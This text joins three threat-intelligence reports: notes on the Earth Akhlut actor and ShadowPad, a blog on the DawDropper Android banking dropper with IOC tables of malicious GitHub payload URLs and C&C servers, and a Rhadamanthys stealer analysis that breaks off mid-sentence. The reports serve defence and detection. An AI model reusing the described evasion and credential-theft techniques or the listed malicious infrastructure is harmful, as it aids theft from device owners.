ID, presence of VM ### C&C Encryption - No encryption - XOR: used keys: 0x15, 0x1d, 0x1f - RC4: hardcoded password 0x12345678 - Custom: use of atypical constants 0x58BF and 0x3193 ### Network Encryption - No encryption - Encoding/compress: hex, zlib, base32, base64 - XOR: used keys: 0x28, 0x3f - RC4: hardcoded password 0x12345678 - zlib + RC4 - RC4 with 128-byte state vector ### Network Traffic - Example of Chimaera C&C communication ### VM Check - Most of these families try to detect whether they are running inside a virtual machine ### Sandbox Evasion - Time delay - Likely anti-sandbox trick - Request for a non-existent website - Prefix www.github - If this request fails, the backdoor code flow continues as expected ### Chimaera - Named after a caption found in the control panel ### Campaign IDs - Some of these families have a campaign ID: 416-J, 0209J, 0216jHC, 228KJ, 3sa, new, 711, Tran, ru, Test, DS, MN1223, 1228, dis, ser, mfa820, ser_ru, rogx64, m0N~1, word0302, low_mn, tnkk, solr, fvckrus, ENERGY ## Shared Backdoor - ShadowPad - Backdoor handling multiple plugins - Used in advanced supply chain attacks discovered in 2017 and 2018 - Exclusive to Winnti/APT41 until 2019 - Usually only 5 plugins are embedded: - “Plugins”, “Config”, “Install”, “Online”, “HTTP” - In some cases: “TCP”, “UDP” - Loaded through DLL side-loading vulnerabilities in signed executables - Uses anti-disassembly techniques - Sometimes packed with VMProtect - New in 2020: sandbox evasion - If the loading DLL is not the expected one, the program exits ## Post-exploitation Tools ### Public - Privilege escalation tools - CVE-2019-0803 and MS16-032 exploits - Hash computational tools - Credential dumpers - gsecdump v0.7 - wdigest_extract - LaZagne - Network shares enumeration - nbtscan 1.0.35 - Inbtscan (Python version of nbtscan) - Keyloggers - Keylogger1217 - Lateral movement - Eternal Blue exploits ### Private - Dumps information from the Domain Controller - Uses Network Management APIs ### Hub Relaying 1. Connects Port 3925 2. Sends traffic 3. Forwards traffic to C&C server - Losing control of C&C does not expose the backend logic - C&C is simply a connection information forwarder ## Infrastructure - Multiple “clusters” of domain names - Infrastructure overlap - Clusters were usually bound to a specific malware family - From March to August 2020: - 49 domains resolving to an IP address - Of which 38 dynamic domain names - 46 different IP addresses - Attacker misconfigured some C&C servers - We could find some new malware samples and families, as well as victims - Files with list of victims ## Targets - 61 targets in 19 different countries from January to July 2020 - Taiwan is the most targeted country, followed by India and Russia - Technology and manufacturing industries were the most targeted, followed by education and healthcare ### Industries - Others: 23.0% - Technology: 21.3% - Government: 8.2% - Manufacturing: 18.0% - Healthcare: 13.1% - Education: 16.4% ### Countries - Taiwan: 21.3% - Others: 27.7% - India: 13.1% - Thailand: 6.6% - Russia: 11.5% - Australia: 6.6% - Canada: 6.6% - Germany: 6.6% ## Links to Other Threat Actors - We found Shadowpad samples sharing encryption algorithms with samples from TICK (Operation Endtrade) - This suggests they share a builder - Shadowpad delivery mechanism is different for TICK; they use a dropper named CASPER ## Conclusion - Earth Akhlut is an advanced threat actor with big operational and offensive capabilities - Patches need to be applied to security solutions - Public Internet access to management servers should be avoided unless necessary
# Examining New DawDropper Banking Dropper and DaaS on the Dark Web In this blog post, we discuss the technical details of a new banking dropper that we have dubbed DawDropper, give a brief history of banking trojans released in early 2022 that use malicious droppers, and elaborate on cybercriminal activities related to DaaS in the deep web. ## Introduction Malicious actors have been surreptitiously adding a growing number of banking trojans to Google Play Store via malicious droppers this year, proving that such a technique is effective in evading detection. Additionally, because there is a high demand for novel ways to distribute mobile malware, several malicious actors claim that their droppers could help other cybercriminals disseminate their malware on Google Play Store, resulting in a dropper-as-a-service (DaaS) model. In the latter part of 2021, we found a malicious campaign that uses a new dropper variant that we have dubbed as DawDropper. Under the guise of several Android apps such as Just In: Video Motion, Document Scanner Pro, Conquer Darkness, simpli Cleaner, and Unicc QR Scanner, DawDropper uses Firebase Realtime Database, a third-party cloud service, to evade detection and dynamically obtain a payload download address. It also hosts malicious payloads on GitHub. As of reporting, these malicious apps are no longer available on Google Play Store. ## DawDropper Technical Analysis Based on our observation, DawDropper has variants that drop four types of banking trojans, including Octo, Hydra, Ermac, and TeaBot. All DawDropper variants use a Firebase Realtime Database, a legitimate cloud-hosted NoSQL database for storing data, as their command-and-control (C&C) server and host malicious payloads on GitHub. ### A Similarity Between Clast82 and DawDropper Interestingly, we found that another dropper called Clast82, which was reported by CheckPoint Research in March 2021, also uses Firebase Realtime Database as a C&C server. The DawDropper C&C server returns data similar to Clast82 data. ### The Octo Payload DawDropper’s malicious payload belongs to the Octo malware family, which is a modular and multistage malware that is capable of stealing banking information, intercepting text messages, and hijacking infected devices. Octo is also known as Coper, and it has been historically used to target Colombian online banking users. Based on our analysis, DawDropper’s Octo malware payload is similar to previously reported variants. The package uses programming language keywords to obfuscate malicious functionalities. Once the Octo malware is successfully launched in the victim’s device and gains primary permissions, it will keep the device awake and register a scheduled service to collect and upload sensitive data to its C&C server. It also uses virtual network computing (VNC) to record a user's screen, including sensitive information such as banking credentials, email addresses and passwords, and PINs. The malware also causes a user’s screen to turn black by turning the device’s backlight off and turns off the device’s sound to hide malicious behavior. ## A Brief History of Banking Droppers in Early 2022 To better understand this trend of banking trojans being distributed via malicious droppers, we must look back at how droppers have been popping up on Google Play Store since the beginning of 2022, analyze how each of these droppers vary from one another and evolve, and learn how cybercriminals are disseminating them. ### Main Differences Among Banking Droppers Although these banking droppers have the same main objective — to distribute and install malware on victims’ devices — we have observed that there are marked differences in how these banking droppers implement their malicious routines. For example, the banking droppers that were launched earlier this year have hard-coded payload download addresses. Meanwhile, the banking droppers that have been recently launched tend to hide the actual payload download address, at times use third-party services as their C&C servers, and use third-party services such as GitHub to host malicious payloads. | Banking Dropper Name | Release Date | Dynamic Address | Third-party Storage | Encrypted Payload | |----------------------|--------------|-----------------|---------------------|-------------------| | Vultur dropper | Jan 12, 2022 | ✓ | | | | Sharkbot dropper | Jan 14, 2022 | ✓ | | | | Octo dropper | Feb 17, 2022 | ✓ | | | | Ermac dropper | Mar 25, 2022 | ✓ | Firebase Realtime Database | GitHub | | TeaBot dropper | Apr 3, 2022 | ✓ | GitHub | GitHub | | Hydra dropper | Apr 23, 2022 | ✓ | Firebase Realtime Database | GitHub | The Vultur dropper was first reported as a DaaS at the end of 2020. In January 2022, we observed that it directly downloads the malicious payload on the infected device and has its own method to decrypt the malicious payload. The Sharkbot dropper has a unique behavior: It not only acts as a dropper but also requests for accessibility permissions and responds with all of the user interface (UI) events of the infected device. Meanwhile, the TeaBot dropper, released in April 2022, uses GitHub to host its malware payload. However, TeaBot uses another GitHub repository to get the download address, in contrast to DawDropper, which uses a Firebase Realtime Database. ## DaaS Dark Web Activities In our investigation of banking trojans using droppers, we observed that one of the droppers that were first reported in 2021, Gymdrop, is connected to a management panel that cybercriminals can use to manage both the dropper and the payload. We also found Gymdrop being advertised in a dark web forum as a typical DaaS. ## Conclusion and Security Recommendations Cybercriminals are constantly finding ways to evade detection and infect as many devices as possible. In a half-year span, we have seen how banking trojans have evolved their technical routines to avoid being detected, such as hiding malicious payloads in droppers. As more banking trojans are made available via DaaS, malicious actors will have an easier and more cost-effective way of distributing malware disguised as legitimate apps. We foresee that this trend will continue and more banking trojans will be distributed on digital distribution services in the future. To avoid falling prey to malicious apps, users should adopt the following security best practices: - Always check app reviews to see if users voice out unusual concerns or negative experiences. - Apply due diligence when looking into app developers and publishers. Avoid downloading apps from suspicious-looking websites. - Avoid installing apps from unknown sources. Mobile users can help minimize the threats posed by these fraudulent apps by using Trend Micro Mobile Security Solutions to scan mobile devices in real time and on demand to detect malicious apps or malware to block or delete them. These apps are available for both Android and iOS. ## Indicators of Compromise (IOCs) ### DawDropper | SHA-256 | Package Name | Release Date | Detection Name | |---------|--------------|--------------|----------------| | 022a01566d6033f6d90ab182c4e69f80a3851565aaaa386c8fa1a9435cb55c91 | com.caduta.aisevsk | 05/01/2021 | AndroidOS_Da | | e1598249d86925b6648284fda00e02eb41fdcc75559f10c80acd182fd1f0e23a | com.vpntool.androidweb | 11/07/2021 | AndroidOS_Da | | 8fef8831cbc864ffe16e281b0e4af8e3999518c15677866ac80ffb9495959637 | com.j2ca.callrecorder | 11/11/2021 | AndroidOS_Da | | 05b3e4071f62763b3925fca9db383aeaad6183c690eecbbf532b080dfa6a5a08 | com.codeword.docscann | 11/21/2021 | AndroidOS_Da | | f4611b75113d31e344a7d37c011db37edaa436b7d84ca4dfd77a468bdeff0271 | com.virtualapps.universalsaver | 12/09/2021 | AndroidOS_Da | | a1298cc00605c79679f72b22d5c9c8e5c8557218458d6a6bd152b2c2514810eb | com.techmediapro.photoediting | 01/04/2022 | AndroidOS_Da | | eb8299c16a311ac2412c55af16d1d3821ce7386c86ae6d431268a3285c8e81fb | com.chestudio.callrecorder | 01/2022 | AndroidOS_Da | | d5ac8e081298e3b14b41f2134dae68535bcf740841e75f91754d3d0c0814ed42 | com.casualplay.leadbro | 04/23/2022 | AndroidOS_Da | | b4bd13770c3514596dd36854850a9507e5734374083a0e4299c697b6c9b9ec58 | com.utilsmycrypto.mainer | 05/04/2022 | AndroidOS_Da | | 77f226769eb1a886606823d5b7832d92f678f0c2e1133f3bbee939b256c398aa | com.cleaner.fixgate | 05/14/2022 | AndroidOS_Da | | 5ee98b1051ccd0fa937f681889e52c59f33372ffa27afff024bb76d9b0446b8a | com.olivia.openpuremind | 05/23/2022 | AndroidOS_Da | | 0ebcf3bce940daf4017c85700ffc72f6b3277caf7f144a69fbfd437d1343b4ab | com.myunique.sequencestore | 2022/05/31 | AndroidOS_Da | | 2113451a983916b8c7918c880191f7d264f242b815b044a6351c527f8aeac3c8 | com.flowmysequto.yamer | 05/2022 | AndroidOS_Da | | 71c44a78cd77a8f5767096f268c3193108ac06ff3779c65e78bc879d3b0ff11d | com.qaz.universalsaver | 05/2022 | AndroidOS_Da | | 9b2064f8808d3aaa2d3dc9f5c7ee0775b29e29df3a958466a8953f148b702461 | com.luckyg.cleaner | 06/02/2022 | AndroidOS_Da | | ff8110883628f8d926588c0b7aedae8841df989d50f32c140d88f1105d1d3e02 | com.scando.qukscanner | 06/28/2022 | AndroidOS_Da | | 02499a198a8be5e203b7929287115cc84d286fc6afdb1bc84f902e433a7961e4 | com.qrdscannerratedx | 07/01/2022 | AndroidOS_Da | ### GitHub Repository | Repository | Description | |------------|-------------| | hxxps://github.com/butcher65/test | GitHub repository hosting the Octo and Hydra banking trojans | | hxxps://github.com/lotterevich/lott | GitHub repository hosting the TeaBot banking trojan | | hxxps://github.com/asFirstYouSaid/test | GitHub repository hosting the Ermac banking trojan | | hxxps://github.com/asFirstYouSaid/awdaw | GitHub repository hosting the Ermac banking trojan | | hxxps://github.com/gohhas/gate | GitHub repository hosting the Octo banking trojan | | hxxps://raw.github.com/k6062019/qq | GitHub repository hosting the Octo banking trojan | | hxxps://github.com/briangreen7667/2705 | GitHub repository hosting the Hydra banking trojan | | hxxps://github.com/uliaknazeva888/main | GitHub repository hosting the Octo banking trojan | | hxxps://github.com/kazakovadana44/1.apk | GitHub repository hosting the Octo banking trojan | | hxxps://github.com/sherrytho/test | GitHub repository hosting the Hydra banking trojan | ### Octo Payload | SHA-256 | Package Name | Download Address | |---------|--------------|------------------| | 3834eb0ff1a955dab719f2ae6a51114995a7e3bd0ea201fb4f044218fe72ba4e | com.fpkbdpwasnfa | hxxps://github.com/uliaknazeva888/qs/raw | | 8e9fa712f490b50d13940cc3ab1509566f31627fce8848071a0547bda58ceac8 | com.piecesimplevb | hxxps://github.com/butcher65/test/raw/main | | 95182e759373f78c421b47dc92d15f1f37c1acea1cd76980058c6ad177491823 | com.holdremember0 | hxxps://raw.githubusercontent.com/k60620 | | f0ee3582856f3f406970530138c06ba3c1c175e9d2dae95e6d3ef3c5ed6dc13a | com.turncani | hxxps://raw.githubusercontent.com/k60620 | | b16769c154fbb8023ada13cf58a9b289b9643f6cb932afb4dde0189a147d5e11 | com.thinkfinddau | hxxps://github.com/gohhas/gate/raw/main | ### Network Indicators | Indicator | Description | |-----------|-------------| | vntososupplsos.live | Octo C&C server | | olopokogulya.site | Backup Octo C&C server | | nbvb3954.fun | Backup Octo C&C server | | nbvvvb.hair | Backup Octo C&C server | | nbvbbn.lol | Backup Octo C&C server | | nbvber.makeup | Backup Octo C&C server | | nbvbsd.mom | Backup Octo C&C server | | nbvbwe.monster | Backup Octo C&C server | | nbvb.one | Backup Octo C&C server | | vbnbvb.online | Backup Octo C&C server | | ccnbvb.pics | Backup Octo C&C server | | xxnbvb.quest | Backup Octo C&C server | | eenbvb.sbs | Backup Octo C&C server | | asqwnbvb.shop | Backup Octo C&C server | | qwnbvb.skin | Backup Octo C&C server | | qqnbvb.space | Backup Octo C&C server | ### Ermac Payload | SHA-256 | Package Name | Download Address | |---------|--------------|------------------| | cdf66b98f90a9e83b204bf2bb28915784f9e9ad4d2fb86648d1d1f7d3152dadd | com.ceveluriseze.xuca | hxxps://raw.githubusercontent.com/asFir | | 71927786fc16e90fe05e1eb032c3591d878c7cfd197d02113d7d006e2d7b171f | com.ceveluriseze.xuca | hxxps://github.com/asFirstYouSaid/test/raw | ### Network Indicator | Indicator | Description | |-----------|-------------| | 193.106.191.121:3435 | Ermac C&C server | ### Hydra Payload | SHA-256 | Package Name | Download Address | |---------|--------------|------------------| | 3194e25f89540e98698bcd221c8a5dbfe4658ac14fd7e7cf7c29299f3675fcdd | com.bulb.crush | hxxps://github.com/briangreen7667/2705/raw | | 93c5e98c06963c8a320f5876148ad45fb6cce1a40a7aaee195cfa5027e19426b | com.alley.work | hxxps://github.com/butcher65/test/raw/main | | 9c9bc75ce675754c655b0757a8655ff50186b1626862bcb5b8200c4047f3ab3c | com.risk.better | hxxps://github.com/butcher65/test/raw/main | | ad84c798e3c30ad941b37aababeb8edfaf52f13c0c7d32bfa96c4b989b135a8b | com.plug.follow | hxxps://github.com/butcher65/test/raw/main | | 7e95e9a306886dadbae68c586bf19eec6903bac15290fd60c47d29a2e3cbf047 | com.tunnel.voyage | hxxps://github.com/sherrytho/test/raw/main/g | ### TeaBot Payload | SHA-256 | Package Name | Download Address | |---------|--------------|------------------| | aea39ddf59ae764c40211a4d0e9c10514b37a9bbabf5b528de4cb7d2574b732b | com.bthlu.xnbhp | hxxps://github.com/lotterevich/lott/raw/main/m | ### Network Indicator | Indicator | Description | |-----------|-------------| | 185.215.113.31:83 | TeaBot C&C server |
# MALWARE/CYBER TOOL THREAT PROFILE ANALYSIS By Insikt Group September 26, 2024 ## Rhadamanthys Stealer Adds Innovative AI Feature in Version 0.7.0 ### Executive Summary Rhadamanthys is an advanced information stealer that first appeared in 2022. It is known for its rapid releases and has seen at least ten different releases since its inception. The malware is advertised and sold on underground forums, and despite being banned for allowing the targeting of Russian and/or former USSR entities, it is still being actively sold. The fee structure starts at $250 for 30 days of access, making it an affordable and attractive option for cybercriminals. Rhadamanthys is a full-featured information stealer that supports collecting system information, credentials, cryptocurrency wallets, browser passwords, cookies, and a wide range of other applications. It includes numerous anti-analysis techniques that complicate analysis efforts and make it difficult for the malware to run successfully in a sandbox environment. Insikt Group obtained and analyzed the most recent version of Rhadamanthys, 0.7.0, and noted many new features that have been added. The most innovative new feature is its ability to use AI (via optical character recognition - OCR) to extract cryptocurrency wallet seed phrases from images automatically. This feature has client- and server-side components that allow Rhadamanthys to identify seed phrase image candidates on the client and fully extract the seed phrase after the image has been exfiltrated back to the malware's command-and-control server. Additionally, a new feature was added to allow threat actors to run and install Microsoft Software Installer (MSI) files, which may not be flagged as malicious by conventional detection systems. Rhadamanthys is a popular choice for cybercriminals. Coupled with its rapid development and innovative new features, it is a formidable threat all organizations should be aware of. Organizations are encouraged to implement the mitigation strategies outlined in this report. In addition to the mitigations, various detections are available to identify Rhadamanthys, and a mutex killswitch is described in the report that can be used as a vaccine against current infections. Information stealers represent a significant threat to organizational security. The widespread practice of password reuse exacerbates this issue, as credentials stolen from personal accounts can often be leveraged to gain unauthorized access to corporate systems. For example, an attacker could retrieve an individual's personal email and password from a compromised social media account and then use that same password to infiltrate their professional email account, especially if the email address can be easily guessed or found on professional networking sites like LinkedIn. Additionally, the increasing overlap between personal and professional use of devices further complicates the security landscape. Employees frequently use work laptops for personal activities, inadvertently downloading infostealers through malicious advertisements or compromised websites. Similarly, when individuals log in to work accounts from personal devices, those credentials may become compromised if an employee or their family member unknowingly becomes infected with an infostealer. These scenarios underscore the critical need for robust cybersecurity measures, including stringent password policies, regular employee training on safe browsing practices, and rigorous access controls to mitigate the risks posed by infostealers and compromised credentials. ### Key Findings - Rhadamanthys, now in its latest version, 0.7.0, is a rapidly evolving malware family that continuously updates with new features, making it a formidable weapon for cybercriminals. It is global, affecting various sectors and regions, with most targets in North and South America. - Insikt Group identified a killswitch to prevent Rhadamanthys from executing its stealers and extensions by setting known Rhadamanthys mutexes on a non-infected machine. - Rhadamanthys leads the trend of incorporating AI into malware with client-side features like OCR for extracting seed phrases from images, demonstrating how AI is weaponized to enhance data theft and is expected to remain at the forefront of this evolving trend. - The threat actor “kingcrete2022," the developer of Rhadamanthys, is banned on both XSS and Exploit Forums. The ban was imposed because the threat actor had been accused of targeting Russian and/or former USSR entities. Currently, the threat actor relies on private messaging via TOX, Telegram, and Jabber to continue advertising new versions of the Rhadamanthys stealer. - Insikt Group has identified a new feature of Rhadamanthys involving the use of MSI packages, representing an additional defense evasion technique. MSI files, typically associated with legitimate software installations, often bypass security scrutiny because they are perceived as trustworthy and may not be detected by conventional systems. - Rhadamanthys has a built-in way to prevent re-execution within a configurable time frame. In version 0.7.0, the author updated this feature to make it tamper-proof through encryption and hashing. ### Background Rhadamanthys is an advanced information stealer that first appeared in the cybercrime ecosystem in September 2022. The malware is attributed to an individual or group known under the alias “kingcrete2022.” Kingcrete2022 started advertising the malware on various special-access forums, including XSS, Exploit, Best Dark, Opencard, and Center-Club, with the following fee structure. | License Type | 30 Days | 90 Days | |--------------|---------|---------| | Normal | $250 | $550 | | VIP | $300 | $750 | The threat actor used different handles on different forums, including “kingcrete2022” on Exploit (currently banned for unknown reasons), “freeide” on XSS (currently banned for targeting Russian and/or former USSR entities), “kingcrete” on Opencard and Best Dark, and “rhadamanthys” on Center-Club. The threat actor uses TOX, an open-source, free, and encrypted communication protocol favored by many Russian- and English-speaking threat actors as a contact method. The threat actor also uses Telegram, Jabber, and [email protected] for communication. Based on a search for the threat actor’s TOX ID in the Recorded Future Intelligence Cloud, additional advertisements for Rhadamanthys under different handles, possibly operated by the same threat actor, are listed. The handle “superman8848” has also been associated with the advertisement of Rhadamanthys as early as August 2022 on both XSS and Exploit. The accounts were banned on both forums. It is possible that “superman8848” and “kingcrete2022” are operated by the same threat actor. A search of “superman8848” on Google yielded a GitHub account, a Reddit account, and a Chinese-language forum. The GitHub account under “superman8848” also commented on a Chinese-language post, pointing to the possibility that the threat actor behind the handle might be a Chinese speaker. Kingcrete2022 uses the blog service telegra[.]ph to document Rhadamanthys stealer updates. ### Malware Capabilities and Versions Rhadamanthys targets Windows operating systems and is designed to collect system information, credentials, cryptocurrency wallets, browser passwords, and cookies, among others. The stealers' collection targets are comprehensive, covering many targets, from major web browsers like Google Chrome to less common software such as the Pale Moon browser and Auvitas Wallet. The stealer not only exfiltrates data automatically upon infection but also allows operators the flexibility to deploy extensions and execute additional commands on compromised machines. The extensibility, constant updates, and feature expansions make Rhadamanthys a formidable tool for cybercriminals. #### Anti-Behavioral Analysis Rhadamanthys employs techniques to avoid behavioral analysis by analysis tools. These methods include timing and delay checks and monitoring for memory-write actions, making it harder for security researchers to trace its actions. #### Anti-static Analysis Rhadamanthys uses static analysis evasion techniques, including obfuscating its executable code, which makes it challenging for analysts to dissect and comprehend the malware's underlying structure. #### Defense Evasion Rhadamanthys uses sophisticated evasion tactics to bypass detection, including encrypting and encoding its files to obscure its contents, hijacking execution flow by exploiting legitimate Windows function calls, and altering file and directory permissions to avoid being flagged by security tools. #### Execution Rhadamanthys can leverage shared modules and command or scripting interpreters, such as PowerShell, to execute malicious payloads, enhancing its versatility in different environments. #### Collection Rhadamanthys collects data from infected systems, including credentials, browser data, system information, and cryptocurrency wallets. #### Command-and-Control Rhadamanthys communicates with a command-and-control server to receive instructions and exfiltrate stolen data. It typically uses HTTP/HTTPS protocols. ### Malware Versions Multiple versions of Rhadamanthys have been developed, with each iteration adding more features and refining existing ones. The malware's core capabilities have remained unchanged, focusing on information stealing, but its deployment and execution have evolved. Reviewing the change logs on the developer's Telegram account, we identified the versions below and summarized their change logs. - **Version 0.4.0**: Provided major changes that were incompatible with prior versions. This version also required users to back up their configurations before updating and included new installation instructions and server panel access details. - **Version 0.4.1**: Implemented critical fixes, such as preventing global download tasks from triggering when certain records were empty and addressing a significant security vulnerability related to panel session management. New features like customizable Telegram notification templates and enhanced support for third-party encryption services were also introduced. - **Version 0.4.5**: Improved the client and panel by including a dedicated shim server and full transport layer security (TLS) support. It also added the capability to perform terminal operations directly from the panel. - **Version 0.4.8**: The client was completely rewritten to include independent encryption keys for each build, with extensive testing across various Windows versions. Server-side enhancements included password cracking algorithms, URL validity detection, and the ability to handle multiple crypt services. - **Version 0.4.9**: Focused on refining existing features, such as resolving issues with log export records and enhancing panel search functionality. Improvements were also made to the Telegram notification system and stub cleanup processes. - **Version 0.5.0**: Introduced observer mode and stub construction options and significantly improved the client execution process. It also expanded wallet cracking capabilities, improved Discord token acquisition, and upgraded panel search settings. - **Version 0.5.1**: Included a new Clippers plug-in, enhanced Telegram notification options, Google Account Cookie Recovery, and default build stub cleaning to bypass Windows Defender. - **Version 0.5.2**: Enhanced the Shim Server disconnection detection with backend servers to better identify and repair connection issues. - **Version 0.6.0**: Enhanced server and panel functionalities, including geo- and IP-blocking, optimized log writing processes, and added support for new extended wallets. - **Version 0.7.0**: The most recent version includes a complete rewrite of both client-side and server-side frameworks, improving the program's execution stability. Additionally, 30 wallet-cracking algorithms, AI-powered graphics, and PDF recognition for phrase extraction were added. ### Rhadamanthys Identity Intelligence and Incidents Recorded Future collects and analyzes malware log files from various information stealers advertised on underground markets. This data provides unique insight into information stealers' victimology and the markets in which they are advertised. The data analyzed from Rhadamanthys malware logs shows that Rhadamanthys is used globally, with most targets in North America and Brazil. Although only a few uses of Rhadamanthys have been reported publicly, several notable events from the last twelve months are listed below. - In October 2023, Rhadamanthys was dropped in an attack using the GHOSTPULSE loader. Rhadamanthys is delivered via MSIX installers masquerading as legitimate software like Google Chrome or Webex. - In February 2024, Rhadamanthys was distributed through a phishing campaign targeting the oil and gas sector. The emails spoofed the Federal Bureau of Transportation and referenced a vehicle incident urging the recipient to download a malicious ZIP file containing an executable. - In March 2024, TA547 targeted German organizations with a phishing campaign impersonating the German retail company Metro. The emails contained password-protected ZIP files containing malicious LNK files. Executing the LNK files runs a PowerShell script that decodes and executes Rhadamanthys in memory without writing it to disk. - In August 2024, Rhadamanthys was delivered via phishing emails targeting Israeli users. The emails contained a password-protected RAR archive that, once extracted, revealed an exe, dll, and image file. When executed, Rhadamanthys was dropped and run. ### Threat/Technical Analysis Insikt Group analyzed a sample of Rhadamanthys v0.7.0 and found that its core functionalities have not changed significantly from v0.5.0. The Rhadamanthys modules and XS custom binary format remain the same, as does its overall infection chain, which relies on three stages and multiple modules loaded at runtime. 1. **Stage 1 (Unpacking and Loading of Stage 2)**: Stage 2 shellcode is copied to the '.textbss' section of the portable executable (PE) file, which is then executed. This marks the beginning of the unpacking and loading process for Stage 2. 2. **Stage 2 (Prepare System and Download Stealers from C2)**: The system is prepared for further exploitation by performing process injection, unhooking, and various process and evasion checks. It then loads the proto.x86 and netclient.x86 modules to communicate with the C2 server and subsequently loads the CoreDLL (Stage 3). 3. **Stage 3 (Run Stealers)**: Various modules are loaded, and default stealers are executed. Image/OCR processing and additional extensions are also run. The system then reports the collected data back to the C2 server. To avoid duplicating the in-depth analyses conducted by Checkpoint and others, Insikt Group has concentrated its analysis on the new features introduced in v0.7.0 and previously undocumented aspects of Rhadamanthys, including: - The added ability for threat actors to install the payload disguised as an MSI file. - A Rhadamanthys mutex creation that can be used as a killswitch. - Preventing re-execution by using a configurable timeframe specified in the Windows Registry. - Rhadamanthys's "Seed Phrase Image Recognition" feature enables users to search for crypto wallet seed phrases within image files. - Rhadamanthys's new extension delivery and extension analysis. ### New MSI Task Type After establishing a connection to the C2 server, Rhadamanthys supports twelve different methods for running executables, modules, or scripts. A newly added option allows threat actors to execute an MSI file (a Microsoft Windows installer package commonly used by legitimate software) on the victim's machine. This option allows a threat actor to write data to a randomly named MSI file in the %LOCALAPPDATA%\Microsoft\ directory and execute it via a call to ShellExecuteExW. Using an MSI file can be advantageous for threat actors because it can be perceived as legitimate by security tools, making it easier for attackers to bypass certain detection mechanisms. ### The Mutex Kill Switch Rhadamanthys uses mutex objects to ensure that only one instance of itself runs on an infected host at any given time. A subset of the following bytes are used for mutex creation: 26 3f fb 04 18 9d b5 66 68 62 7b 8a 85 e4 b6 20 f9 da 5b 8e. These bytes are the SHA1 hash value of the following eight hex bytes that are hard-coded in Rhadamanthys: 03 00 00 00 4E 4A 49 40. The following C language format string is used to construct the Mutex strings: "MSCTF.Asm.{%08lx-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x}". The function takes the bytes 03 00 00 00 4E 4A 49 40 and hashes them using the SHA1 algorithm, which then feeds the format string to create the mutex. Nine mutexes are opened by Rhadamanthys using the Windows API function OpenMutexW(). If any of the mutexes listed below are found, Rhadamanthys will terminate. | Mutex | |-------| | Global\MSCTF.Asm.{04fb3f26-9d18-66b5-6862-7b8a85e4b620} | | Session\1\MSCTF.Asm.{04fb3f26-9d18-66b5-6862-7b8a85e4b620} | | Session\2\MSCTF.Asm.{04fb3f26-9d18-66b5-6862-7b8a85e4b620} | | Session\3\MSCTF.Asm.{04fb3f26-9d18-66b5-6862-7b8a85e4b620} | | Session\4\MSCTF.Asm.{04fb3f26-9d18-66b5-6862-7b8a85e4b620} | | Session\5\MSCTF.Asm.{04fb3f26-9d18-66b5-6862-7b8a85e4b620} | | Session\6\MSCTF.Asm.{04fb3f26-9d18-66b5-6862-7b8a85e4b620} | | Session\7\MSCTF.Asm.{04fb3f26-9d18-66b5-6862-7b8a85e4b620} | | Session\8\MSCTF.Asm.{04fb3f26-9d18-66b5-6862-7b8a85e4b620} | | MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6} | Knowing the mutex values and that Rhadamanthys will terminate if they are present enables the creation of a killswitch/vaccine. If any of these mutexes are found on a non-infected system, Rhadamanthys will not execute. ### Re-Execution Delay Feature Rhadamanthys contains a feature to prevent re-execution within a configurable time frame. The unique registry values used by this feature can be used to detect live and historical Rhadamanthys infections. The configurable time frame for the re-execution delay is specified in minutes. It is contained in offsets five and six in the Rhadamanthys configuration. At startup, Rhadamanthys retrieves the number of seconds elapsed since midnight on January 1, 1970, via the time() function. The re-execution delay feature implementation steps are: 1. SHA1 of the timestamp obtained at startup is calculated. 2. SHA1 of the timestamp is added to the front of a 128-byte buffer. 3. A null byte and then the timestamp itself is added to the above 128-byte buffer. 4. The above 128-byte buffer is encrypted using ChaCha20 with the following crypto parameters: - 64-byte key: SHA256 hash of the C2 URL against a zero-filled 128-byte buffer. - 12-byte nonce: Taken from the configuration at offset 12 (hex 0x0c). - Counter: 64. 5. Encrypted result of 64 bytes written to registry value HKCU\SOFTWARE\SibCode\sn2. On startup, Rhadamanthys will attempt to decrypt the value of sn2, verify the SHA1 hash of the saved timestamp, and finally subtract this saved timestamp from the current timestamp to check whether it is greater than the configured re-execution delay. The malware will exit if the time difference is within the configured time delay. In v0.7.0, the author has made the re-execution delay feature tamper-proof through encryption and hashing. In versions before 0.7.0, the registry value HKCU\SOFTWARE\SibCode\sn is set instead of HKCU\SOFTWARE\SibCode\sn2. The registry key HKCU\SOFTWARE\SibCode\sn contains the time value alone. ### Seed Phrase Image Recognition A new feature added to Rhadamanthys in v0.7.0 is "Seed Phrase Image Recognition." This feature is part of the C2's configurable FileGrab settings. It allows threat actors to specify maximum file size, minimum and maximum image resolutions, and which directories to look in for potential seed phrase images associated with cryptocurrency wallets. Next, the base path for the seed phrase image detection configuration is inspected. If environment variables are present, they are expanded, and then the files and directories in the base path are enumerated. Each path is checked to see if it is a directory or a file. If it is a directory (and not a symlink), it will recursively search the directory depending on the seed phrase image detection configuration. If the path is a file, a check is done to ensure the file's size is within the bounds specified in the seed phrase image detection configuration before processing the file further. Next, the provided file path is checked to see if it contains a valid extension (*.bmp, *.tiff, *.png, *.jpeg, *.jpg). If so, the file is read into a buffer, and the minimum and maximum image resolution defined in the seed phrase image detection configuration are passed to the processImage function in the imgdt module. The processImage function of the imgdt module determines whether a seed phrase is detected by relying on the previously provided bip39.txt file contents OCR dictionary when attempting to identify whether a seed phrase is present. The checkImageFeatures function is responsible for determining whether a seed phrase is present. Upon receiving the suspected seed phrase images, the C2 server processes them using Tesseract, a robust open-source OCR engine, to extract the seed phrases accurately. ### New Extension Delivery Rhadamanthys has extended its capabilities by offering additional plugins, starting in version 0.5.0 and continuing with new additions in later versions. Four key plugins have been identified: - Keylogger - Data Spy - Clipper - Reverse Proxy In version 0.5.0, these plug-ins were implemented as .NET assemblies and loaded via the loader.dll file, which is responsible for loading .NET assemblies. However, in v0.7.0, the plug-in system was updated. The plug-ins are now packaged as ZIP files containing two components, classes.dex and manifest.json, resembling an Android Package Kit (APK) file structure, though they are not actual APKs. The classes.dex file serves as the extension and contains several key elements: - License check - Loader code - LZMA-compressed extension in XS2 format This new structure allows Rhadamanthys to enhance its functionality further and maintain its adaptability in malware operations. ### Keylogger The keylogger extension provides standard keylogging functionality. The core functionality revolves around hooking keystrokes, recording key presses and releases, and logging active window details to contextualize the stolen data. It achieves this by leveraging the GetKeyboardLayout API to understand keyboard layouts and correctly interpret keystrokes, regardless of language settings. The GetKeyState API helps track the state of special keys like Shift, Ctrl, and Alt, ensuring the accurate capture of uppercase characters and 